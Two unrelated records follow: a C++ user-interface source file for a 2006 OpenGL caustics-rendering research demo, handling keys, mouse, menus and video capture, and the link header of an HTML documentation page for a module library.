text:
/********************************************
** interface.cpp                           **
** -------------                           **
**                                         **
** This file includes describes the user   **
**    interface routines for the demo.     **
**    Basically, anything that happens if  **
**    the user presses a key or mouse      **
**    button is (mostly) determined by     **
**    this file.  Not very well commented. **
**                                         **
** Chris Wyman (8/08/2006)                 **
********************************************/

#include "glut_template.h"
#include "glm.h"
#include "trackball.h"
#include "materials.h"
#include "MovieMaker.h"

/***************************************************
** Globals describing buffer sizes...             **
***************************************************/
extern int screenSize, mainbufferSize, causticMapSize;
extern int numberOfPhotons, refractionBufSize, backgroundBufSize;
extern unsigned char* screenCapture;

/***************************************************
** Globals! (In other words, I'm a C programmer)  **
***************************************************/
extern int screen_width , screen_height;
extern int buttonDown;
extern GLfloat myNear, myFar;
extern int geomImageMapCreated;

extern FrameBuffer *fb, *backgroundGeomFB, *backNormalsFB, *causticFB;
extern FrameBuffer *pseudoPhotonMapFB, *geomDepthFB, *tempFB;
extern GLuint causticLocationBuffer, causticColorBuffer;

/***************************************************
** globals modifiable via user-input              **
***************************************************/
extern int currentEnvMap;
extern int drawComplex;
extern GLfloat objScale;
extern int currentModel;
extern float index2_1, index2_1sqr;
extern int drawSideImages;
extern int drawHelpMenu;
extern int shaderLoadError;
extern int whichBackSide;

extern int triangleDisplay;
extern int displayType;
extern float offset;
extern int displayBig, drawQuads;
int tmpUIVal=0, usePseudoPhotonMap=2;
extern int usingAdaptiveMultresolutionSplats;

extern float time_angle, time_index, time_angleEnv, fps;
int rotating=0;
int indexing=0, rotatingEnv=0, rotatingScreenShots=0, screenShot=0;
extern int frameCount, benchmarking, usingCGShaders;
extern clock_t startTime;
extern GLfloat tmpUIValue;
GLfloat moveOthersX=7, moveOthersY=1.4, moveOthersZ=-8;
GLint moveTmp=0;
int refractBackground = 1;

GLint displayDragon = 1, displayMacBeth = 0, displayTable = 0;
extern GLint tmpMagFilter, tmpMinFilter;
extern MovieMaker *makeMovie;
extern int makingMovie, needToRerenderCaustics;
int movieNum=0;
int isAltPressed=0, drawCausticsWithDepth=0;
extern int viewpoint;
float viewDistance=1.0;
int temporalFiltering = 0, whichFloorTex=1, lookAtZ=0, programStarting=1;
int useExperimentalApproach=0, useNearest=1;
extern int currentTemporalBufferPointer, drawRefractionOnly;
float gaussianSigma = 1.25, rangeSigma = 0.015;
float photonPointSize = 5;
extern float searchRadius;
extern GLuint currentObjectList, currentObjectNormalList;
int currentModelNum = 2;

/***************************************************
** Matrix globals                                 **
***************************************************/
extern GLfloat origLookFrom[2][4];
extern GLfloat lookFrom[2][4];
extern GLdouble lookAtMatrix[2][16];
extern GLdouble inverseLookAtMatrix[2][16];

/***************************************************
** idle function... what to do when bored         **
***************************************************/
void idle ( void )
{

  // Sometimes it appears the 1st frame of caustics aren't quite right.
  //    This gets rid of the garbage by rendering the initial frame at startup twice.  Kludgy.
  if (programStarting) { needToRerenderCaustics = 1; programStarting=0; }

  if (rotating)
  {
	time_angle += 0.5;
	if (time_angle >= 360) time_angle -= 360;
	needToRerenderCaustics = 1;
  }

  glutPostRedisplay();
}

/***************************************************
** deal with user resizing window                 **
***************************************************/
void reshape( int w, int h )
{
  if (!screen_width || !screen_height)
  {
	ResizeTrackballWindow( w, h );
	screen_width=w; screen_height=h;
	glViewport( 0, 0, w, h );
	glMatrixMode( GL_PROJECTION );
	glLoadIdentity();
	gluPerspective( 90, 1, myNear, myFar );
	glMatrixMode( GL_MODELVIEW );
	glutPostRedisplay();
  }
  else glutReshapeWindow( screen_width, screen_height );
}

char *GetWindowName( int intermediateStep )
{
	static char buf[10][128] = {
		"Reducing Noise in Image-Space Caustics With Variable-Sized Splatting (DEMO)",
		"(1) Eye-space background image without refractor",
		"(2) Eye-space background surface depth map",
		"(3) Light-space background surface depth map",
		"(4) Eye-space view of refractor's backfacing surface normals",
		"(5) Eye-space view of refractor's backfacing surface depth",
		"(6) Four frame caustic map (one frame's intensity per channel)",
		"(7) Current frame's photon buffer (i.e., the photon positions)",
		"(8) Surface normal at final photon positions (light-space)",
		"(9) Light-space depth map (a.k.a. the shadow map)",
	};
	return buf[MIN(9,MAX(0,intermediateStep))];
}

void keys(unsigned char key, int x, int y)
{
	switch ( key )
    {
    default:
      break;
    case 'T':
		photonPointSize += 2.0;
		printf("    (-) Photon Splat Size (for original approach): %f\n", photonPointSize );
		needToRerenderCaustics = 1;
		glutPostRedisplay();
		break;
	case 't':
		photonPointSize -= 2.0;
		if (photonPointSize < 1) photonPointSize = 1;
		printf("    (-) Photon Splat Size (for original approach): %f\n", photonPointSize );
		needToRerenderCaustics = 1;
		glutPostRedisplay();
		break;
	case 'X':
	case 'x':
		if (!useExperimentalApproach && !usingAdaptiveMultresolutionSplats)
		{
			useExperimentalApproach = !useExperimentalApproach;
			printf("    (-) Using dynamically varying splat sizes...\n" );
		}
		else if (useExperimentalApproach && !usingAdaptiveMultresolutionSplats)
		{
			useExperimentalApproach = !useExperimentalApproach;
            usingAdaptiveMultresolutionSplats = !usingAdaptiveMultresolutionSplats;
			printf("    (-) Using adaptive multiresolution splats (4 fixed radii splats)...\n" );
		}
		else if (!useExperimentalApproach && usingAdaptiveMultresolutionSplats)
		{
			usingAdaptiveMultresolutionSplats = !usingAdaptiveMultresolutionSplats;
			printf("    (-) Using original I3D 2006 work of Wyman and Davis...\n" );
		}
		needToRerenderCaustics = 1;
		glutPostRedisplay();
		break;
	case '1':
		displayDragon = !displayDragon;
		needToRerenderCaustics = 1;
		glutPostRedisplay();
		break;
	case '2':
		displayMacBeth = !displayMacBeth;
		needToRerenderCaustics = 1;
		glutPostRedisplay();
		break;
	case '3':
		displayTable = !displayTable;
		needToRerenderCaustics = 1;
		glutPostRedisplay();
		break;
	case '8':
		break;
	case '9':
		break;
	case '*':
		displayBig++;
		if (displayBig > 9) displayBig=9;
		glutSetWindowTitle( GetWindowName( displayBig ) );
		glutPostRedisplay();
		break;
	case '/':
		displayBig--;
		if (displayBig < 0) displayBig = 0;
		glutSetWindowTitle( GetWindowName( displayBig ) );
		glutPostRedisplay();
		break;
	case 'a':
		benchmarking = !benchmarking;
		if (benchmarking)
		{
			frameCount = 0;
			startTime = clock();
		}
		else
		{
			clock_t currTime = clock();
			unsigned int diff = currTime - startTime;
			printf("(+) Benchmark results: %f fps over %d frames\n",
					(frameCount*CLOCKS_PER_SEC)/((float)diff),
					frameCount );
		}
		break;
	case 'v':
		currentEnvMap++;
		if (currentEnvMap >= NUM_ENVMAPS) currentEnvMap = 0;
		glutPostRedisplay();
		break;
	case 'V':
		currentEnvMap--;
		if (currentEnvMap < 0) currentEnvMap = NUM_ENVMAPS-1;
		glutPostRedisplay();
		break;
	case 's':
		objScale -= 0.2;
		printf("    (-) Object scale: %f\n", objScale);
		needToRerenderCaustics = 1;
		glutPostRedisplay();
		break;
	case 'S':
		objScale += 0.2;
		printf("    (-) Object scale: %f\n", objScale);
		needToRerenderCaustics = 1;
		glutPostRedisplay();
		break;
	case 'y':
		rotating = !rotating;
		glutPostRedisplay();
		break;

	case 'f':
	case 'F':
		temporalFiltering = ( temporalFiltering == 0 ? 3 : 0 );
		currentTemporalBufferPointer = (temporalFiltering == 0 ? 0 : 1);
		printf("    (-) Temporal filtering: %s\n", temporalFiltering ? "Enabled" : "Disabled" );
		glutPostRedisplay();
		break;

	case '{':
	case '[':
		viewDistance -= 0.05;
		if (viewDistance < 0.05) viewDistance = 0.05;
		printf("Viewing Distance Factor: %f\n", viewDistance);

		{
			GLfloat tmpMat[16];

			/* find the updated eye position */
			GetTrackBallMatrix( EYE_TRACKBALL, tmpMat );
			lookFrom[EYE_POV][0] = viewDistance*tmpMat[0]*origLookFrom[EYE_POV][0] +
				viewDistance*tmpMat[4]*origLookFrom[EYE_POV][1] +
				viewDistance*tmpMat[8]*origLookFrom[EYE_POV][2] +
				tmpMat[12]*origLookFrom[EYE_POV][3];
			lookFrom[EYE_POV][1] = viewDistance*tmpMat[1]*origLookFrom[EYE_POV][0] +
				viewDistance*tmpMat[5]*origLookFrom[EYE_POV][1] +
				viewDistance*tmpMat[9]*origLookFrom[EYE_POV][2] +
				tmpMat[13]*origLookFrom[EYE_POV][3];
			lookFrom[EYE_POV][2] = viewDistance*tmpMat[2]*origLookFrom[EYE_POV][0] +
				viewDistance*tmpMat[6]*origLookFrom[EYE_POV][1] +
				viewDistance*tmpMat[10]*origLookFrom[EYE_POV][2] +
				tmpMat[14]*origLookFrom[EYE_POV][3];
			lookFrom[EYE_POV][3] = viewDistance*tmpMat[3]*origLookFrom[EYE_POV][0] +
				viewDistance*tmpMat[7]*origLookFrom[EYE_POV][1] +
				viewDistance*tmpMat[11]*origLookFrom[EYE_POV][2] +
				tmpMat[15]*origLookFrom[EYE_POV][3];

			/* compute the new, updated gluLookAt() matrix for the eye */
			glMatrixMode( GL_MODELVIEW );
			glPushMatrix();
			glLoadIdentity();
			gluLookAt(lookFrom[EYE_POV][0], lookFrom[EYE_POV][1], lookFrom[EYE_POV][2],
	  				    0, 0, lookAtZ,
						0,1,0);
			glGetDoublev( GL_MODELVIEW_MATRIX, lookAtMatrix[EYE_POV] );
			matInvertd( lookAtMatrix[EYE_POV], inverseLookAtMatrix[EYE_POV] );
			glPopMatrix();
		}

		glutPostRedisplay();
		break;
	case '}':
	case ']':
		viewDistance += 0.05;
		printf("Viewing Distance Factor: %f\n", viewDistance);

		{
			GLfloat tmpMat[16];

			/* find the updated eye position */
			GetTrackBallMatrix( EYE_TRACKBALL, tmpMat );
			lookFrom[EYE_POV][0] = viewDistance*tmpMat[0]*origLookFrom[EYE_POV][0] +
				viewDistance*tmpMat[4]*origLookFrom[EYE_POV][1] +
				viewDistance*tmpMat[8]*origLookFrom[EYE_POV][2] +
				tmpMat[12]*origLookFrom[EYE_POV][3];
			lookFrom[EYE_POV][1] = viewDistance*tmpMat[1]*origLookFrom[EYE_POV][0] +
				viewDistance*tmpMat[5]*origLookFrom[EYE_POV][1] +
				viewDistance*tmpMat[9]*origLookFrom[EYE_POV][2] +
				tmpMat[13]*origLookFrom[EYE_POV][3];
			lookFrom[EYE_POV][2] = viewDistance*tmpMat[2]*origLookFrom[EYE_POV][0] +
				viewDistance*tmpMat[6]*origLookFrom[EYE_POV][1] +
				viewDistance*tmpMat[10]*origLookFrom[EYE_POV][2] +
				tmpMat[14]*origLookFrom[EYE_POV][3];
			lookFrom[EYE_POV][3] = viewDistance*tmpMat[3]*origLookFrom[EYE_POV][0] +
				viewDistance*tmpMat[7]*origLookFrom[EYE_POV][1] +
				viewDistance*tmpMat[11]*origLookFrom[EYE_POV][2] +
				tmpMat[15]*origLookFrom[EYE_POV][3];

			/* compute the new, updated gluLookAt() matrix for the eye */
			glMatrixMode( GL_MODELVIEW );
			glPushMatrix();
			glLoadIdentity();
			gluLookAt(lookFrom[EYE_POV][0], lookFrom[EYE_POV][1], lookFrom[EYE_POV][2],
	  				    0, 0, lookAtZ,
						0,1,0);
			glGetDoublev( GL_MODELVIEW_MATRIX, lookAtMatrix[EYE_POV] );
			matInvertd( lookAtMatrix[EYE_POV], inverseLookAtMatrix[EYE_POV] );
			glPopMatrix();
		}

		glutPostRedisplay();
		break;

	case '+':
	case '=':
		if (index2_1 >= 1.5) break;
		index2_1 += 0.01;
		index2_1sqr = index2_1 * index2_1;
		printf("Index2 / index1: %f\n", index2_1);
		needToRerenderCaustics = 1;
		glutPostRedisplay();
		break;
	case '-':
	case '_':
		if (index2_1 <= 0.51) break;
		index2_1 -= 0.01;
		index2_1sqr = index2_1 * index2_1;
		printf("Index2 / index1: %f\n", index2_1);
		needToRerenderCaustics = 1;
		glutPostRedisplay();
		break;

	case 'C':
	case 'c':
		drawComplex = 1-drawComplex;
		needToRerenderCaustics = 1;
		glutPostRedisplay();
		break;
	case ' ':
		drawSideImages = 1-drawSideImages;
		glutPostRedisplay();
		break;
	case 'H':
	case 'h':
		drawHelpMenu = 1-drawHelpMenu;
		glutPostRedisplay();
		break;
	case 'q':
	case 'Q':
		exit(0);
		break;
	case 'r':
	case 'R':
		shaderLoadError=ReloadCGShaders();
		needToRerenderCaustics = 1;
		glutPostRedisplay();
		break;
	case 'b':
	case 'B':
		whichBackSide = 1-whichBackSide;
		needToRerenderCaustics = 1;
		glutPostRedisplay();
		break;
	case '>':
	case '.':
		moveOthersZ -= 0.2;
		needToRerenderCaustics = 1;
		glutPostRedisplay();
		break;
	case '<':
	case ',':
		moveOthersZ += 0.2;
		needToRerenderCaustics = 1;
		glutPostRedisplay();
		break;

	case 'W':
	case 'w':
		viewpoint = !viewpoint;
		glutPostRedisplay();
		break;

	case 'M':
	case 'm':
		{
			FILE *f;
			GLfloat tmpMatrix[16];

			f = fopen( "mostRecent.settings", "w" );

			GetTrackBallMatrix( OBJECT_TRACKBALL, tmpMatrix );
			fprintf(f, "Current OBJ Matrix: %f %f %f %f \n", tmpMatrix[0], tmpMatrix[1], tmpMatrix[2], tmpMatrix[3] );
			fprintf(f, "Current OBJ Matrix: %f %f %f %f \n", tmpMatrix[4], tmpMatrix[5], tmpMatrix[6], tmpMatrix[7] );
			fprintf(f, "Current OBJ Matrix: %f %f %f %f \n", tmpMatrix[8], tmpMatrix[9], tmpMatrix[10], tmpMatrix[11] );
			fprintf(f, "Current OBJ Matrix: %f %f %f %f \n", tmpMatrix[12], tmpMatrix[13], tmpMatrix[14], tmpMatrix[15] );

			GetTrackBallMatrix( ENVIRONMENT_TRACKBALL, tmpMatrix );
			fprintf(f, "Current Env Matrix: %f %f %f %f \n", tmpMatrix[0], tmpMatrix[1], tmpMatrix[2], tmpMatrix[3] );
			fprintf(f, "Current Env Matrix: %f %f %f %f \n", tmpMatrix[4], tmpMatrix[5], tmpMatrix[6], tmpMatrix[7] );
			fprintf(f, "Current Env Matrix: %f %f %f %f \n", tmpMatrix[8], tmpMatrix[9], tmpMatrix[10], tmpMatrix[11] );
			fprintf(f, "Current Env Matrix: %f %f %f %f \n", tmpMatrix[12], tmpMatrix[13], tmpMatrix[14], tmpMatrix[15] );

			GetTrackBallMatrix( EYE_TRACKBALL, tmpMatrix );
			fprintf(f, "Current Eye Matrix: %f %f %f %f \n", tmpMatrix[0], tmpMatrix[1], tmpMatrix[2], tmpMatrix[3] );
			fprintf(f, "Current Eye Matrix: %f %f %f %f \n", tmpMatrix[4], tmpMatrix[5], tmpMatrix[6], tmpMatrix[7] );
			fprintf(f, "Current Eye Matrix: %f %f %f %f \n", tmpMatrix[8], tmpMatrix[9], tmpMatrix[10], tmpMatrix[11] );
			fprintf(f, "Current Eye Matrix: %f %f %f %f \n", tmpMatrix[12], tmpMatrix[13], tmpMatrix[14], tmpMatrix[15] );

			GetTrackBallMatrix( LIGHT_TRACKBALL, tmpMatrix );
			fprintf(f, "Current Light Matrix: %f %f %f %f \n", tmpMatrix[0], tmpMatrix[1], tmpMatrix[2], tmpMatrix[3] );
			fprintf(f, "Current Light Matrix: %f %f %f %f \n", tmpMatrix[4], tmpMatrix[5], tmpMatrix[6], tmpMatrix[7] );
			fprintf(f, "Current Light Matrix: %f %f %f %f \n", tmpMatrix[8], tmpMatrix[9], tmpMatrix[10], tmpMatrix[11] );
			fprintf(f, "Current Light Matrix: %f %f %f %f \n", tmpMatrix[12], tmpMatrix[13], tmpMatrix[14], tmpMatrix[15] );

            PrintInverseTrackballMatrix( LIGHT_TRACKBALL );

			fprintf(f, "Object Scale: %f\n", objScale );
			fprintf(f, "Index Ratio: %f\n", index2_1 );
			fprintf(f, "Object Number: %d\n", currentModelNum );
			fprintf(f, "Environment Number: %d\n", currentEnvMap );

			GetTrackBallMatrix( MISC_TRACKBALL, tmpMatrix );
			fprintf(f, "Current Misc Matrix: %f %f %f %f\n", tmpMatrix[0], tmpMatrix[1], tmpMatrix[2], tmpMatrix[3] );
			fprintf(f, "Current Misc Matrix: %f %f %f %f\n", tmpMatrix[4], tmpMatrix[5], tmpMatrix[6], tmpMatrix[7] );
			fprintf(f, "Current Misc Matrix: %f %f %f %f\n", tmpMatrix[8], tmpMatrix[9], tmpMatrix[10], tmpMatrix[11] );
			fprintf(f, "Current Misc Matrix: %f %f %f %f\n", tmpMatrix[12], tmpMatrix[13], tmpMatrix[14], tmpMatrix[15] );

			fprintf(f, "Current Misc Offset: %f %f %f\n", moveOthersX, moveOthersY, moveOthersZ );
			fprintf(f, "Current Zoom Factor: %f\n", viewDistance );
			fprintf(f, "Current Displayed Objects: %d %d %d\n", displayDragon, displayMacBeth, displayTable );
			fprintf(f, "Current Viewpoint: %d\n", viewpoint );

			fclose( f );

			printf("Settings output to \"mostRecent.settings\"...\n");
		}
		break;
	}
}

/***************************************************
** deal with key strokes                          **
***************************************************/
void special_keys(int key, int x, int y)
{
  switch ( key )
    {
    default:
      break;
	case GLUT_KEY_LEFT:
		moveOthersX -= 0.2;
		needToRerenderCaustics = 1;
		glutPostRedisplay();
		break;
	case GLUT_KEY_RIGHT:
		moveOthersX += 0.2;
		needToRerenderCaustics = 1;
		glutPostRedisplay();
		break;
	case GLUT_KEY_UP:
		moveOthersY += 0.2;
		needToRerenderCaustics = 1;
		glutPostRedisplay();
		break;
	case GLUT_KEY_DOWN:
		moveOthersY -= 0.2;
		needToRerenderCaustics = 1;
		glutPostRedisplay();
		break;

	case GLUT_KEY_F5:
		drawRefractionOnly = !drawRefractionOnly;
		break;

	case GLUT_KEY_F8:
		if (lookAtZ == 0)
			lookAtZ = -3;
		else
			lookAtZ=0;
		/* compute the new, updated gluLookAt() matrix for the eye */
		glMatrixMode( GL_MODELVIEW );
		glPushMatrix();
		glLoadIdentity();
		gluLookAt(lookFrom[EYE_POV][0], lookFrom[EYE_POV][1], lookFrom[EYE_POV][2],
	  				    0, 0, lookAtZ,
						0,1,0);
		glGetDoublev( GL_MODELVIEW_MATRIX, lookAtMatrix[EYE_POV] );
		matInvertd( lookAtMatrix[EYE_POV], inverseLookAtMatrix[EYE_POV] );
		glPopMatrix();
		glutPostRedisplay();
		break;

	case GLUT_KEY_F11:
		{
			char buf[128];
			sprintf( buf, "myMovie%d.avi", movieNum );
			printf("    (-) Starting video capture to '%s'\n", buf);
			makeMovie->StartCapture( buf, min(30, (int)((2*fps)+0.5)) );
			makingMovie = 1;
			movieNum++;
		}
		break;
	case GLUT_KEY_F12:
		printf("    (-) Done capturing video...\n");
		makingMovie = 0;
		makeMovie->EndCapture();
		break;

	case GLUT_KEY_PAGE_UP:
		{
			int xPos = glutGet( GLUT_WINDOW_X );
			int yPos = glutGet( GLUT_WINDOW_Y );
			glutPositionWindow( xPos, yPos-10 );
		}
		break;

	case GLUT_KEY_PAGE_DOWN:
		{
			int xPos = glutGet( GLUT_WINDOW_X );
			int yPos = glutGet( GLUT_WINDOW_Y );
			glutPositionWindow( xPos, yPos+10 );
		}
		break;

	 case GLUT_KEY_END:
		{
			screenShot=1;
			printf("    (-) Capturing screen...\n");
			glutPostRedisplay();
		}
		break;
	}
}

/***************************************************
** deal with mouse movement                       **
***************************************************/
void motion(int x, int y)
{
  if (buttonDown == -1) return;

  if (buttonDown == GLUT_LEFT_BUTTON && !isAltPressed)
  {
      UpdateTrackballOnMotion( OBJECT_TRACKBALL, x, y );
	  needToRerenderCaustics = 1;
  }
  if (buttonDown == GLUT_LEFT_BUTTON && isAltPressed)
      UpdateTrackballOnMotion( ENVIRONMENT_TRACKBALL, x, y );

  if (buttonDown == GLUT_MIDDLE_BUTTON && !isAltPressed)
  {
	  GLfloat tmpMat[16];

	  /* update the eye's trackball matrix */
	  UpdateTrackballOnMotion( EYE_TRACKBALL, x, y );

	  /* find the updated eye position */
	  GetTrackBallMatrix( EYE_TRACKBALL, tmpMat );
	  lookFrom[EYE_POV][0] = viewDistance*tmpMat[0]*origLookFrom[EYE_POV][0] +
		  viewDistance*tmpMat[4]*origLookFrom[EYE_POV][1] +
		  viewDistance*tmpMat[8]*origLookFrom[EYE_POV][2] +
		  tmpMat[12]*origLookFrom[EYE_POV][3];
	  lookFrom[EYE_POV][1] = viewDistance*tmpMat[1]*origLookFrom[EYE_POV][0] +
		  viewDistance*tmpMat[5]*origLookFrom[EYE_POV][1] +
		  viewDistance*tmpMat[9]*origLookFrom[EYE_POV][2] +
		  tmpMat[13]*origLookFrom[EYE_POV][3];
	  lookFrom[EYE_POV][2] = viewDistance*tmpMat[2]*origLookFrom[EYE_POV][0] +
		  viewDistance*tmpMat[6]*origLookFrom[EYE_POV][1] +
		  viewDistance*tmpMat[10]*origLookFrom[EYE_POV][2] +
		  tmpMat[14]*origLookFrom[EYE_POV][3];
	  lookFrom[EYE_POV][3] = viewDistance*tmpMat[3]*origLookFrom[EYE_POV][0] +
		  viewDistance*tmpMat[7]*origLookFrom[EYE_POV][1] +
		  viewDistance*tmpMat[11]*origLookFrom[EYE_POV][2] +
		  tmpMat[15]*origLookFrom[EYE_POV][3];

	  /* compute the new, updated gluLookAt() matrix for the eye */
	  glMatrixMode( GL_MODELVIEW );
	  glPushMatrix();
	  glLoadIdentity();
	  gluLookAt(lookFrom[EYE_POV][0], lookFrom[EYE_POV][1], lookFrom[EYE_POV][2],
	  		    0, 0, lookAtZ,
		        0,1,0);
	  glGetDoublev( GL_MODELVIEW_MATRIX, lookAtMatrix[EYE_POV] );
	  matInvertd( lookAtMatrix[EYE_POV], inverseLookAtMatrix[EYE_POV] );
	  glPopMatrix();
  }
  if (buttonDown == GLUT_MIDDLE_BUTTON && isAltPressed)
  {
	  GLfloat tmpMat[16];

	  /* update the light's trackball matrix */
	  UpdateTrackballOnMotion( LIGHT_TRACKBALL, x, y );

	  /* find the updated light position */
	  GetTrackBallMatrix( LIGHT_TRACKBALL, tmpMat );
	  lookFrom[LIGHT_POV][0] = tmpMat[0]*origLookFrom[LIGHT_POV][0] + tmpMat[4]*origLookFrom[LIGHT_POV][1] + tmpMat[8]*origLookFrom[LIGHT_POV][2] + tmpMat[12]*origLookFrom[LIGHT_POV][3];
	  lookFrom[LIGHT_POV][1] = tmpMat[1]*origLookFrom[LIGHT_POV][0] + tmpMat[5]*origLookFrom[LIGHT_POV][1] + tmpMat[9]*origLookFrom[LIGHT_POV][2] + tmpMat[13]*origLookFrom[LIGHT_POV][3];
	  lookFrom[LIGHT_POV][2] = tmpMat[2]*origLookFrom[LIGHT_POV][0] + tmpMat[6]*origLookFrom[LIGHT_POV][1] + tmpMat[10]*origLookFrom[LIGHT_POV][2] + tmpMat[14]*origLookFrom[LIGHT_POV][3];
	  lookFrom[LIGHT_POV][3] = tmpMat[3]*origLookFrom[LIGHT_POV][0] + tmpMat[7]*origLookFrom[LIGHT_POV][1] + tmpMat[11]*origLookFrom[LIGHT_POV][2] + tmpMat[15]*origLookFrom[LIGHT_POV][3];

	  /* compute the new, updated gluLookAt() matrix for the light */
	  glMatrixMode( GL_MODELVIEW );
	  glPushMatrix();
	  glLoadIdentity();
	  gluLookAt(lookFrom[LIGHT_POV][0], lookFrom[LIGHT_POV][1], lookFrom[LIGHT_POV][2],
	  		    0, 0, 0,
		        0,1,0);
	  glGetDoublev( GL_MODELVIEW_MATRIX, lookAtMatrix[LIGHT_POV] );
	  matInvertd( lookAtMatrix[LIGHT_POV], inverseLookAtMatrix[LIGHT_POV] );
	  glPopMatrix();
	  needToRerenderCaustics = 1;
  }

  glutPostRedisplay();
}

/***************************************************
** deal with mouse clicks                         **
***************************************************/
void button(int b, int st, int x, int y)
{
	isAltPressed = (glutGetModifiers() == GLUT_ACTIVE_ALT) ;

	if (b == GLUT_LEFT_BUTTON && st == GLUT_DOWN)
	{
		buttonDown = GLUT_LEFT_BUTTON;
		if (!isAltPressed)
			SetTrackballOnClick( OBJECT_TRACKBALL, x, y );
		else
			SetTrackballOnClick( ENVIRONMENT_TRACKBALL, x, y );
	}
	else if (b == GLUT_MIDDLE_BUTTON && st == GLUT_DOWN)
	{

		buttonDown = GLUT_MIDDLE_BUTTON;
		if (!isAltPressed)
			SetTrackballOnClick( EYE_TRACKBALL, x, y );
		else
			SetTrackballOnClick( LIGHT_TRACKBALL, x, y );
	}
	else if (b == GLUT_RIGHT_BUTTON && st == GLUT_DOWN)
	{
		buttonDown = GLUT_RIGHT_BUTTON;
		SetTrackballOnClick( MISC_TRACKBALL, x, y );
	}
	else if (st == GLUT_UP)
		buttonDown = -1;
}

void menu( int value )
{
	int newSize;

	switch (value)
	{
		default:
			break;
		case 100:
			keys( 'h', 0, 0 );
			break;
		case 300:
			keys( '2', 0, 0 );
			break;
		case 301:
			keys( '1', 0, 0 );
			break;
		case 302:
			keys( '3', 0, 0 );
			break;
		case 500:
		case 501:
		case 502:
		case 503:
		case 504:
		case 505:
		case 506:
			newSize = 64*pow(2.0,value-500);
			numberOfPhotons = newSize;
			resizeFramebuffer( causticFB, numberOfPhotons );
			glBindBuffer( GL_PIXEL_PACK_BUFFER_EXT, causticLocationBuffer );
			glBufferData( GL_PIXEL_PACK_BUFFER_EXT, numberOfPhotons*numberOfPhotons*4*sizeof(float), NULL, GL_DYNAMIC_DRAW );
			glBindBuffer( GL_PIXEL_PACK_BUFFER_EXT, causticColorBuffer );
			glBufferData( GL_PIXEL_PACK_BUFFER_EXT, numberOfPhotons*numberOfPhotons*4*sizeof(float), NULL, GL_DYNAMIC_DRAW );
			needToRerenderCaustics = 1;
			glutPostRedisplay();
			break;
		case 520:
		case 521:
		case 522:
		case 523:
		case 524:
		case 525:
		case 526:
			newSize = 64*pow(2.0,value-520);
			causticMapSize = newSize;
			resizeFramebuffer( pseudoPhotonMapFB, causticMapSize );
			resizeFramebuffer( tempFB, causticMapSize );
			needToRerenderCaustics = 1;
			glutPostRedisplay();
			break;
		case 540:
		case 541:
		case 542:
			newSize = 256*pow(2.0,value-540);
			screenSize = newSize;
			backgroundBufSize = newSize;
			resizeFramebuffer( backgroundGeomFB, backgroundBufSize );
			screen_width = newSize;
			screen_height = newSize;
			glutReshapeWindow( screen_width, screen_height );
			if (screenCapture)
				free( screenCapture );
			screenCapture = (unsigned char *) malloc( sizeof(unsigned char) * screenSize * screenSize * 3 );
			ResizeTrackballWindow( screenSize, screenSize );
			needToRerenderCaustics = 1;
			glutPostRedisplay();
			break;
		case 560:
		case 561:
		case 562:
		case 563:
		case 564:
		case 565:
		case 566:
			newSize = 64*pow(2.0,value-560);
			mainbufferSize = newSize;
			resizeFramebuffer( fb, mainbufferSize );
			needToRerenderCaustics = 1;
			glutPostRedisplay();
			break;
		case 600: // original caustics mapping approach
			usingAdaptiveMultresolutionSplats = 0;
			useExperimentalApproach = 0;
			needToRerenderCaustics = 1;
			printf("    (-) Using original I3D 2006 work of Wyman and Davis...\n" );
			glutPostRedisplay();
			break;
		case 601: // multi-res approach
			useExperimentalApproach = 0;
			usingAdaptiveMultresolutionSplats = 1;
			needToRerenderCaustics = 1;
			printf("    (-) Using adaptive multiresolution splats (4 fixed radii splats)...\n" );
			glutPostRedisplay();
			break;
		case 602: // continuously varying splats
			useExperimentalApproach = 1;
			usingAdaptiveMultresolutionSplats = 0;
			needToRerenderCaustics = 1;
			printf("    (-) Using dynamically varying splat sizes...\n" );
			glutPostRedisplay();
			break;
		case 27: /* quit */
			exit(0);
			break;
	}
	if ( value >= 200 && value < 300 )
	{
		GLuint tmp1, tmp2;
		int loaded;

		displayLoadingMessage( GetModelIdentifier( value-200 ) );

		loaded = LoadRefractingModel( value-200, &tmp1, &tmp2 );
		if (!loaded)
		{
			printf("*** Error loading model: %s\n", GetModelIdentifier( value-200 ) );
			return;
		}

		glDeleteLists( currentObjectList, 1 );
		glDeleteLists( currentObjectNormalList, 1 );

		currentObjectList = tmp1;
		currentObjectNormalList = tmp2;

		printf("(+) Loaded model: %s\n", GetModelIdentifier( value-200 ) );
		needToRerenderCaustics = 1;
		currentModelNum = value-200;
		glutPostRedisplay();
	}
}

/***************************************************
** function to setup menu entries                 **
***************************************************/
void SetupMenu( void )
{
}


text:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<link rel="stylesheet" href="style.css" type="text/css">
<meta content="text/html; charset=iso-8859-1" http-equiv="Content-Type">
<link rel="Start" href="index.html">
<link rel="Up" href="Random.html">
<link title="Index of types" rel=Appendix href="index_types.html">
<link title="Index of exceptions" rel=Appendix href="index_exceptions.html">
<link title="Index of values" rel=Appendix href="index_values.html">
<link title="Index of modules" rel=Appendix href="index_modules.html">
<link title="Index of module types" rel=Appendix href="index_module_types.html">
<link title="Barray" rel="Chapter" href="Barray.html">
<link title="Barray_slice" rel="Chapter" href="Barray_slice.html">
<link title="Barraylabels" rel="Chapter" href="Barraylabels.html">
<link title="Bbool" rel="Chapter" href="Bbool.html">
<link title="Bchar" rel="Chapter" href="Bchar.html">
<link title="Bfloat" rel="Chapter" href="Bfloat.html">
<link title="Bformat" rel="Chapter" href="Bformat.html">
<link title="Bfun" rel="Chapter" href="Bfun.html">
<link title="Bhash" rel="Chapter" href="Bhash.html">
<link title="Bhashtbl" rel="Chapter" href="Bhashtbl.html">
<link title="Bheap" rel="Chapter" href="Bheap.html">
<link title="Bint" rel="Chapter" href="Bint.html">
<link title="Bint64" rel="Chapter" href="Bint64.html">
<link title="Blist" rel="Chapter" href="Blist.html">
<link title="Blistlabels" rel="Chapter" href="Blistlabels.html">
<link title="Bmap" rel="Chapter" href="Bmap.html">
<link title="Bopt" rel="Chapter" href="Bopt.html">
<link title="Bord" rel="Chapter" href="Bord.html">
<link title="Bpair" rel="Chapter" href="Bpair.html">
<link title="Bparse" rel="Chapter" href="Bparse.html">
<link title="Brandom" rel="Chapter" href="Brandom.html">
<link title="Bref" rel="Chapter" href="Bref.html">
<link title="Bresult" rel="Chapter" href="Bresult.html">
<link title="Bset" rel="Chapter" href="Bset.html">
<link title="Bstring" rel="Chapter" href="Bstring.html">
<link title="Bvector" rel="Chapter" href="Bvector.html">
